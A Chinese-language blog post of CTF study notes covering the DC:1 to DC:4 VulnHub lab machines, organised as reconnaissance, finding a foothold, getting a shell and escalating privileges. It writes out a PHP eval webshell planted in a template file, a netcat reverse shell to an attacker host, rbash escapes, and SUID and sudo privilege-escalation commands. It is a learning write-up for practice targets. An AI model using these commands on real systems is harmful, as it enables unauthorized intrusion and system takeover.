前言:因为暑假在家放假,补课之后想找找点有趣的事情去做,就想起来虚拟机里吃灰的Kali,赶忙挖出来嗮嗮。做完了DC:1~DC:4的ctf(其实Ta是抄的),初步理解了基本的过程,现在写一篇学习笔记记录一下。

注意:本文是DC:1~DC:4的知识点总和,目的是启发、引导初学者在学习ctf中建立这样一个基本的思路,具有一定的片面性,请在学习的过程中批判性地阅读发散思维,由于经验不足,出现错误大佬轻喷

DC:1~DC:4的ctf中,最终的flag都在/root目录中(即:root用户的家目录),所以我们必须得到root账户或者具有管理员权限的账户。故渗透的基本过程为:

1
 信息收集 ==> 找到突破点 ==> GetShell ==> 本地提权

我们的内容将通过此展开,以这个顺序开始叙述

信息收集

这个步骤不可或缺,人走夜路都是要点灯的,摸黑走可是走不长远。

nmap扫描端口

扫描目标机存活端口,可以使用(用法有很多,详细请百度):

1
nmap -sT <ip>   #TCP连接扫描,不安全,慢

由于在检测每个端口时都需要进行三次握手,所以速度较慢,同时由于需要建立连接,可能会被目标主机记录下来,所以安全性不高

注意:不要对未授权的主机使用,切记!!!这里由于是打靶用所以就随意了。

目录扫描

这里使用dirmap(当然,用啥都行),用法如下:

1
dirmap -i <url> -lcf   #扫描目录

这里真的很重要!!!我在打Infosec Prep:OSCP的靶机的时候,下意识直接cewlwpscan开始爆破,但显而易见肯定不会成功,如果开始就目录扫描就可以看到robots.txtsecret.txtsecret.txtbase64解码 就是靶机的SSH私钥(转换完看到BEGIN OPENSSH PRIVATE KEY我直接就不会了,中大奖属于是)

指纹识别

这个大佬们已经练成看家本领了,稍微看一下就看个大概,这里由于本人很菜,所以使用了第三方的插件脚本,可以随意发挥。我是用的是Wappalyzer

这里如果有搭建的框架了,可以直接Baidu已知漏洞

哈也没有,继续RushB

找到突破点

已知搭建的框架

好的开端,这意味着可能有一大堆Nday等着给你用。

使用现成的scan工具

如果你知道了目标机网站的框架,并且框架很知名,你就可以试着搜索一下Ta是否存在对应的scan工具。

你可以百度<目标机网站的框架> 扫描

1
2
3
例如:
WordPress ==> WPScan //在DC-1有出现
joomla ==> JoomScan //在DC-3有出现

使用Msf和searchsploit中搜索

如果有可能的话,你可能在Msf找到相应的模块或者在 ExploitDB中找到对应漏洞

例如,在DC-1中你可以通过两种方法进入网站后台得到flag3:

    - 利用drupal CVE2014-3704漏洞直接添加管理员账号

    - 使用Msf 模块攻击GetShell后,在在配置文件中得到sql账户密码,利用scripts/password-hash.sh输出的密码覆盖掉管理员的密码

(虽然使用Msf 模块攻击GetShell是必须的,但通过两种方法得到了网站后台,所以多做些工作,也许会得到意外的结果捏!)

Baidu存在的漏洞

其实这种方法对于系统内核也适用,后面的本地提权也会用到。

你可以百度搜索<你的目标机框架> 漏洞,例如:

这里是打DC:3时的,应该使用的是 CVE-2017-8917,需要用sqlmap注入数据库得到emails,username,password(这里的密码是加密的,需要使用jhon爆破一下),然后登陆

虽然 CVE-2021-23132 并未使用,但后半段的改代码远程执行还是有点启示性的(其实最后看别人解的时候远程执行的部分是基本一致的 逃)

未知框架

回想一下数据收集中有没有可疑的端口开放或者什么可疑的文件夹(请仔细检查是否含有secret.txt 战术去世),如果有登录页面就可以尝试爆破一下。注意url中是否含有可能的文件包含漏洞(如果你发现类似xxx.php?p=1),检查操作数据库的功能是否可以注入,抓取网站的数据包也许也会有意外的收获

总之,有什么方法尽管使,相信你自己!

GetShell

使用PHP一句话

书接上回,打DC:3时,我们在后台可以编辑blog的主题文件(typecho也有类似的功能),我们可以在里面加个一句话:

1
eval($_POST['pwned']);   //这里的pwned可以换成别的,是连接的密码

得到主题文件中木马的真实地址

以DC:3的joomla的beez为例,我把木马加在了error.php里面,则木马的地址为<网站>/templates/beez3/error.php

连接蚁剑:

使用反弹shell

方法有很多,这里以DC:4中使用的nc(netcat)演示:

先在攻击机如下配置:

1
nc -lvvp <port>   #port 为攻击机端口号,并且此端口号没有被占用

在靶机执行:

1
nc -e /bin/bash <攻击主机ip> <port>

这里可以反弹shell的程序有很多,大家自行百度

终端提升

WebShell ==> 交互终端

当你Get到一个Webshell的时候,你一定会第一时间考虑把她升级为交互终端

1
python -c 'import pty; pty.spawn("/bin/bash")'

Rbash的绕过

这里在DC:2中有很多的博主使用了如下的方法:

1
2
3
BASH_CMDS[a]=/bin/bash;    # ^| 这两个步骤是在调用 /bin/bash解释器
a # _| (我这个方括号打的是不是很灵性 逃)
/bin/bash #使用bash解释器

也可以使用vi等绕过,如:

1
2
3
vi raoguo  #文件名随意
esc后输入 :set shell=/bin/bash
回车后输入 :shell

这里可以用来绕过的方法有很多,大家自行探(bai)索(du)吧!

本地提权

使用suid提权

SUID提权由来已久,是一种非常古老的提权方式,但生命力经久不衰(笑)

我们可以通过以下命令在/下找到属主为root的具有SUID权限的二进制可执行文件:

1
find / -user root -perm -4000 -print 2>/dev/null

DC:1的靶机中用到了find来提权,使用如下:

1
2
touch 123.txt
find 123.txt -exec "/bin/sh" \;

更多的方式可以到GTFOBins去查下(虽然个人认为给出的方法有点复杂)

也可以百度<你的命令> suid

使用sudoer提权

使用sudo -l查询你可以用sudo的命令,当你的输出结果中含有NOPASSWD的命令将代表你使用这个命令的sudo时,她将不需要密码

如在DC:2中,git小姐就有幸进入了这个队列,我们就用她来搞些事情:

1
2
sudo git help config
!/bin/bash或者!'sh'完成提权

使用内核漏洞提权

在dc-3中,得到www-data账户后,需要使用 CVE-2017-16995(拒绝服务漏洞)来提权,在本地使用exploitdb提供的 提权脚本,具体内容请自行百度

我自己试了好几个脚本,但编译之后总会报错,我试了3回啊3回(恼)

后记

感谢你完整地读完了这篇文章,本文完成用时3天(指所有的业余时间),希望同志继续努力,在这条快乐的道路上继续前进,也欢迎参观我的博客,我们有缘再见!

快乐的暑假,从渗透开始!

本文于2022年8月13号13:56完结